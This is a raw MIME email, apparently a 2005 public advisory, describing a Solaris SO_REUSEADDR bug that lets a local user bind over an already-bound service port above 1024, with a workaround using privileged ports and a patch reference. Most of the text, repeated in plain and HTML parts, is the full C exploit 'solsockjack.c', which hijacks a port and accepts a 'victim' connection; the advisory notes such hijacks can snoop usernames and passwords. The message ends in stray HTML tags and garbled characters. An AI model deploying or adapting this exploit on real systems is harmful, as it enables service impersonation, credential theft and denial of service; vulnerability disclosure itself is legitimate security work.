------=_Part_12546_22614564.1120652641174 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline /* ***************************************************************************= ************************************** $ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket=20 Hijack Bug ***************************************************************************= ************************************** 1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com 2: Bug Released: July 06 2005 3: Bug Impact Rate: Medium / Hi 4: Bug Scope Rate: Local / Remote ***************************************************************************= ************************************** $ This advisory and/or proof of concept code must not be used for commercia= l=20 gain. ***************************************************************************= ************************************** Sun MicroSystems http://www.sun.com Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favours any= =20 socket binding operation that is more specific than the general "*.*" wildcard bind(). As such, a=20 malicious socket can bind to an already bound interface if a specific IP address is used. This hijack can be performed against any process over 1024, including root= =20 owned services, it is not limited to your own user account. One can then mimic the original service and snoop= =20 usernames / passwords, files and data with a trojan version of software, or just cause a DOS against the=20 legitimate service, providing the service is bound to a port above 1024 and uses the SO_REUSEADDR option. Anyway, a work around could be setting the port numbers that are valuable t= o=20 the system as privileged. Using the following kernel parameter, you can set ports above 1024 to act as=20 reserved so only root can bind to them. tcp_extra_priv_ports_add To view privileged ports, run the following command: ndd /dev/tcp tcp_extra_priv_ports To set ports as privileged, run the following command: ndd -set /dev/tcp tcp_extra_priv_ports_add 8080 Effected: All Solaris versions. Not effected: Linux, OpenBSD, FreeBSD, Windows. SUN have released a patch for the issue which can be downloaded from=20 sunsolve. Document Audience: PUBLIC Document ID: 116965-08 Title: Obsoleted by: 116965-09 SunOS 5.8: ip/arp/tcp/udp patch Update Date: Thu May 05 09:28:25 MDT 2005 See Patch Revision History Patch Id: 116965-08 Problem Description:=20 5089150 Binding to a port which has already been bound may incorrectly=20 succeed */ /* solsockjack.c */ #include #include #include #include #include #include #include #include #include #define BAD "!@#$%^&*()-_=3D+[]{};':\",/<>?\\|`~=20 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" #define DEFHOST "localhost" #define MAX_INCONN 1 #define PORT 1241 /* Nessus */ #define SYSTEM "SunOS" #define BL "\x1B[1;34m" #define NO "\x1B[0m" #define PI "\x1B[35m" #define PU "\x1B[1;35m" #define RE "\x1B[1;31m" #define WH "\x1B[1;37m" #define YE "\x1B[1;33m" void banner(void) { fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack=20 Exploit\n", YE, NO); fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound=20 socket\n", YE, NO); fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service= =20 that\n", YE, NO); fprintf(stderr, "%s[-] %sis already running on a port greater than 1024,=20 making\n", YE, NO); fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to=20 perform.\n", YE, NO); fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n",= =20 YE, WH, NO); _exit(EXIT_SUCCESS); } void usage(int argc, char **argv) { fprintf(stderr, "%s[-] %s Usage:\n", YE, NO); fprintf(stderr, "%s[-] %s\t -h \t\tIP address to bind socket to\n", YE, NO)= ; fprintf(stderr, "%s[-] %s\t -p \t\tport number to attempt hijack of\n", YE,= =20 NO); fprintf(stderr, "%s[-] %s\t -v \t\tPrints this help\n", YE, NO); fprintf(stderr, "%s[-] %s%s -h 10.1.1.215 -p 1241\n\n",= =20 YE, NO, argv[0]); _exit(EXIT_FAILURE); } void checkerr(char *isvuln) { free(isvuln); puts("Not today!"); _exit(EXIT_FAILURE); } void jackerr(char *vulnerable) { free(vulnerable); _exit(EXIT_FAILURE); } char *checksys(char *isvuln) { struct utsname name; if(uname(&name) < 0) { puts("uname failed"); } isvuln =3D malloc(6); if(!isvuln) { perror("malloc"); _exit(EXIT_FAILURE); } if((name.sysname =3D=3D NULL) || (strlen(name.sysname) < 1) || (strlen( name.sysname) > 5)) { checkerr(isvuln); } memcpy(isvuln, name.sysname, strlen(name.sysname)); if(!isvuln) { checkerr(isvuln); } return(isvuln); } int main(int argc, char **argv) { int inbuf, jacksock, opts, solvuln; int port =3D PORT; char *vulnerable =3D NULL; char *systype =3D NULL; char *isvuln =3D NULL; char *bad =3D NULL; struct sockaddr_in solaris, victims; if(argc < 2) { banner(); _exit(EXIT_FAILURE); } if((systype =3D checksys(isvuln)) =3D=3D NULL) { puts("Something messed up!"); checkerr(isvuln); } if(strcmp(SYSTEM, systype) !=3D 0) { puts("System is not supported - SunOS only!"); checkerr(isvuln); } fprintf(stderr, "\n%s-> %sOK, potential vulnerable %s[%s] %ssystem,=20 continuing..\n", WH, NO, BL, systype, NO); free(isvuln); sleep(2); while((opts =3D getopt(argc, argv, "h:p:v")) !=3D -1) { switch(opts) { case 'h': bad =3D BAD; vulnerable =3D malloc(16); if(!vulnerable) { perror("malloc"); _exit(EXIT_FAILURE); } if((optarg =3D=3D NULL) || (strlen(optarg) < 7) || (strlen(optarg) > 15) ||= =20 strpbrk(bad, optarg)) { puts("\n[-] Failed: IP address just isn't right!\n"); jackerr(vulnerable); } memcpy(vulnerable, optarg, strlen(optarg)); if(!vulnerable) { jackerr(vulnerable); } break; case 'p': port =3D atoi(optarg); if((port < 1024) || (port > 65535)) { puts("\n[-] Failed: Port number just isn't right!\n"); usage(argc, argv); _exit(EXIT_FAILURE); } break; case 'v': usage(argc, argv); break; default: usage(argc, argv); break; } } if(vulnerable =3D=3D NULL) { jackerr(vulnerable); } fprintf(stderr, "%s-> %sJacking port %s[%d] %sat address %s[%s]%s\n", WH,= =20 NO, PI, port, NO, PU, vulnerable, NO); jacksock =3D socket(AF_INET, SOCK_STREAM, 0); if(jacksock < 0) { perror("socket"); jackerr(vulnerable); } sleep(2); if(setsockopt(jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) <= =20 0) { perror("setsockopt"); } solaris.sin_family =3D AF_INET; solaris.sin_port =3D htons(port); solaris.sin_addr.s_addr =3D inet_addr(vulnerable); memset(&solaris.sin_zero, '\0', sizeof(solaris.sin_zero)); if(bind(jacksock, (struct sockaddr *)&solaris, sizeof(struct sockaddr)) < 0= )=20 { perror("bind"); fprintf(stderr, "[-] %sFailed: %sCould not snag port, must be patched!\n",= =20 RE, NO); jackerr(vulnerable); } fprintf(stderr, "%s-> %s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s-= >=20 %sWait...\n", WH, NO, YE, NO, PI, port, NO, WH, NO); if(listen(jacksock, MAX_INCONN) < 0) { perror("listen"); puts("[-] Failed: Could not listen for an incoming connection!"); jackerr(vulnerable); } sleep(2); fprintf(stderr, "%s-> %sOK, listening for incoming connections to=20 compromise", WH, NO); inbuf =3D sizeof(victims); if(accept(jacksock, (struct sockaddr *)&victims, &inbuf) < 0) { perror("accept"); puts("[-] Failed: Could not accept the incoming connection!"); jackerr(vulnerable); } fprintf(stderr, "\n%s-> %sSnagged a victim connecting from %s[%s]%s\n", WH,= =20 NO, YE, inet_ntoa(victims.sin_addr), NO); sleep(1); close(jacksock); puts("-> Victim has been released to live another day!"); sleep(1); puts("-> Test was a success!"); free(vulnerable); return(0); } ------=_Part_12546_22614564.1120652641174 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline  /*
  ********************************************************************= *********************************************
  $ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Sock= et Hijack Bug
  ********************************************************************= *********************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: July 06 2005
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Local / Remote
  ********************************************************************= *********************************************
  $ This advisory and/or proof of concept code must not be used for co= mmercial gain.
  ********************************************************************= *********************************************

  Sun MicroSystems
  http://www.sun.com

  Solaris has a bug in the use of SO_REUSEADDR in that the Kernel favo= urs any socket binding operation that
  is more specific than the general "*.*" wildcard bind(). A= s such, a malicious socket can bind to an already
  bound interface if a specific IP address is used.

  This hijack can be performed against any process over 1024, includin= g root owned services, it is not limited
  to your own user account. One can then mimic the original service an= d snoop usernames / passwords, files and
  data with a trojan version of software, or just cause a DOS against = the legitimate service, providing the
  service is bound to a port above 1024 and uses the SO_REUSEADDR opti= on.

  Anyway, a work around could be setting the port numbers that are val= uable to the system as privileged. Using
  the following kernel parameter, you can set ports above 1024 to act = as reserved so only root can bind to them.

    tcp_extra_priv_ports_add

  To view privileged ports, run the following command:

    ndd /dev/tcp tcp_extra_priv_ports

  To set ports as privileged, run the following command:

    ndd -set /dev/tcp tcp_extra_priv_ports_add 8080

  Effected: All Solaris versions.
  Not effected: Linux, OpenBSD, FreeBSD, Windows.

  SUN have released a patch for the issue which can be downloaded from= sunsolve.

  Document Audience:    PUBLIC
  Document ID:    116965-08
  Title:    Obsoleted by: 116965-09 SunOS 5.8: ip/arp/t= cp/udp patch
  Update Date:    Thu May 05 09:28:25 MDT 2005
  See Patch Revision History

  Patch Id: 116965-08

  Problem Description:

  5089150 Binding to a port which has already been bound may incorrect= ly succeed

*/

/* solsockjack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <arpa/inet.h>

#define BAD             "!@#$%^&*()-_=3D+[]{};':\",/<>?\\|`~ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
#define DEFHOST         "local= host"
#define MAX_INCONN      1
#define PORT            1241         /* Nessus */
#define SYSTEM          "= SunOS"

#define BL           = ;   "\x1B[1;34m"
#define NO           = ;   "\x1B[0m"
#define PI           = ;   "\x1B[35m"
#define PU           = ;   "\x1B[1;35m"
#define RE           = ;   "\x1B[1;31m"
#define WH           = ;   "\x1B[1;37m"
#define YE           = ;   "\x1B[1;33m"

void
banner(void)
{
        fprintf(stderr, "\n%s[-] %sSUN Solaris SPARC / x86 Local Socket Hijack Exploit\n", YE, NO);
        fprintf(stderr, "%s[-] %sKernel issue allows a bind on an already bound socket\n", YE, NO);         fprintf(stderr, "%s[-] %sallowing a malicious user to impersonate a service that\n", YE, NO);=
        fprintf(stderr, "%s[-] %sis already running on a port greater than 1024, making\n", YE, NO);
        fprintf(stderr, "%s[-] %sservice-in-the-middle attacks a trivial task to perform.\n", YE, NO)= ;
        fprintf(stderr, "%s[-] %sDeveloped by c0ntex || c0ntexb@gmail.com%s\n\n", YE, WH, NO);

        _exit(EXIT_SUCCESS);
}

void
usage(int argc, char **argv)
{
        fprintf(stderr, "%s[-] %s U= sage:\n", YE, NO);
        fprintf(stderr, "%s[-] %s\t= -h \t\tIP address to bind socket to\n", YE, NO);
        fprintf(stderr, "%s[-] %s\t= -p \t\tport number to attempt hijack of\n", YE, NO);
        fprintf(stderr, "%s[-] %s\t= -v \t\tPrints this help\n", YE, NO);

        fprintf(stderr, "%s[-] %s%s= -h 10.1.1.215 -p 1241\n\n", YE, NO,= argv[0]);

        _exit(EXIT_FAILURE);
}

void
checkerr(char *isvuln)
{
        free(isvuln);
        puts("Not today!");         _exit(EXIT_FAILURE);
}

void
jackerr(char *vulnerable)
{
        free(vulnerable);
        _exit(EXIT_FAILURE);
}

char
*checksys(char *isvuln)
{
        struct utsname name;

        if(uname(&name) < 0) {             &nb= sp;   puts("uname failed");
        }

        isvuln =3D malloc(6);
        if(!isvuln) {
            &nb= sp;   perror("malloc");
            &nb= sp;   _exit(EXIT_FAILURE);
        }

        if((name.sysname =3D=3D NULL) || (strlen(name.sysname) < 1) || (strlen(name.sysname) > 5)) {
            &nb= sp;   checkerr(isvuln);
        }

        memcpy(isvuln, name.sysname, str= len(name.sysname));
        if(!isvuln) {
            &nb= sp;   checkerr(isvuln);
        }

        return(isvuln);
}

int
main(int argc, char **argv)
{
        int inbuf, jacksock, opts, solvu= ln;
        int port =3D PORT;

        char *vulnerable =3D NULL;
        char *systype =3D NULL;
        char *isvuln =3D NULL;
        char *bad =3D NULL;

        struct sockaddr_in solaris, vict= ims;

        if(argc < 2) {
            &nb= sp;   banner();
            &nb= sp;   _exit(EXIT_FAILURE);
        }

        if((systype =3D checksys(isvuln)= ) =3D=3D NULL) {
            &nb= sp;   puts("Something messed up!");
            &nb= sp;   checkerr(isvuln);
        }

        if(strcmp(SYSTEM, systype) !=3D = 0) {
            &nb= sp;   puts("System is not supported - SunOS only!");
            &nb= sp;   checkerr(isvuln);
        }

        fprintf(stderr, "\n%s-> %sOK, potential vulnerable %s[%s] %ssystem, continuing..\n", WH, NO, BL, systype, NO);

        free(isvuln); sleep(2);

        while((opts =3D getopt(argc, arg= v, "h:p:v")) !=3D -1) {
            &nb= sp;   switch(opts)
            &nb= sp;           {
            &nb= sp;           case 'h':
            &nb= sp;            =        bad =3D BAD;
            &nb= sp;            =        vulnerable =3D malloc(16);
            &nb= sp;            =        if(!vulnerable) {
            &nb= sp;            =             &nb= sp;  perror("malloc");
            &nb= sp;            =             &nb= sp;  _exit(EXIT_FAILURE);
            &nb= sp;            =        }

            &nb= sp;            =        if((optarg =3D=3D NULL) || (strlen(optarg) < 7) || (strlen(optarg) > 15) || strpbrk(bad, optarg)) {
            &nb= sp;            =             &nb= sp;  puts("\n[-] Failed: IP address just isn't right!\n");
            &nb= sp;            =             &nb= sp;  jackerr(vulnerable);
            &nb= sp;            =        }

            &nb= sp;            =        memcpy(vulnerable, optarg, strlen(optarg));
            &nb= sp;            =        if(!vulnerable) {
            &nb= sp;            =             &nb= sp;  jackerr(vulnerable);
            &nb= sp;            =        }
            &nb= sp;            =        break;
            &nb= sp;           case 'p':
            &nb= sp;            =        port =3D atoi(optarg);
            &nb= sp;            =        if((port < 1024) || (port > 65535)) {
            &nb= sp;            =             &nb= sp;  puts("\n[-] Failed: Port number just isn't right!\n");
            &nb= sp;            =             &nb= sp;  usage(argc, argv);
            &nb= sp;            =             &nb= sp;  _exit(EXIT_FAILURE);
            &nb= sp;            =        }
            &nb= sp;            =        break;
            &nb= sp;           case 'v':
            &nb= sp;            =        usage(argc, argv);
            &nb= sp;            =        break;
            &nb= sp;           default:
            &nb= sp;            =        usage(argc, argv);
            &nb= sp;            =        break;
            &nb= sp;           }
        }

        if(vulnerable =3D=3D NULL) {
            &nb= sp;   jackerr(vulnerable);
        }

        fprintf(stderr, "%s-> %sJacking port %s[%d] %sat address %s[%s]%s\n", WH, NO, PI, port, NO, PU, vulnerable, NO);

        jacksock =3D socket(AF_INET, SOC= K_STREAM, 0);
        if(jacksock < 0) {
            &nb= sp;   perror("socket");
            &nb= sp;   jackerr(vulnerable);
        } sleep(2);

        if(setsockopt(jacksock, SOL_SOCKET, SO_REUSEADDR, &solvuln, sizeof(int)) < 0) {
            &nb= sp;   perror("setsockopt");
        }

        solaris.sin_family =3D AF_INET;<= br>         solaris.sin_port =3D htons(port)= ;
        solaris.sin_addr.s_addr =3D inet= _addr(vulnerable);
        memset(&solaris.sin_zero, '\= 0', sizeof(solaris.sin_zero));

        if(bind(jacksock, (struct sockad= dr *)&solaris, sizeof(struct sockaddr)) < 0) {
            &nb= sp;   perror("bind");
            &nb= sp;   fprintf(stderr, "[-] %sFailed: %sCould not snag port, must be patched!\n", RE, NO);
            &nb= sp;   jackerr(vulnerable);
        }

        fprintf(stderr, "%s-> %s%sSuccess!! %sPort %s[%d] %shas been hijacked!\n%s-> %sWait...\n"= , WH, NO, YE, NO, PI, port, NO, WH, NO);

        if(listen(jacksock, MAX_INCONN) = < 0) {
            &nb= sp;   perror("listen");
            &nb= sp;   puts("[-] Failed: Could not listen for an incoming connection!");=
            &nb= sp;   jackerr(vulnerable);
        } sleep(2);

        fprintf(stderr, "%s-> %sOK, listening for incoming connections to compromise", WH, NO);

        inbuf =3D sizeof(victims);

        if(accept(jacksock, (struct sock= addr *)&victims, &inbuf) < 0) {
            &nb= sp;   perror("accept");
            &nb= sp;   puts("[-] Failed: Could not accept the incoming connection!");             &nb= sp;   jackerr(vulnerable);
        }

        fprintf(stderr, "\n%s-> %sSnagged a victim connecting from %s[%s]%s\n", WH, NO, YE, inet_ntoa(victims.sin_addr), NO);

        sleep(1);

        close(jacksock);

        puts("-> Victim has been= released to live another day!");

        sleep(1);

        puts("-> Test was a succ= ess!");

        free(vulnerable);

        return(0);
}

------=_Part_12546_22614564.1120652641174--
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß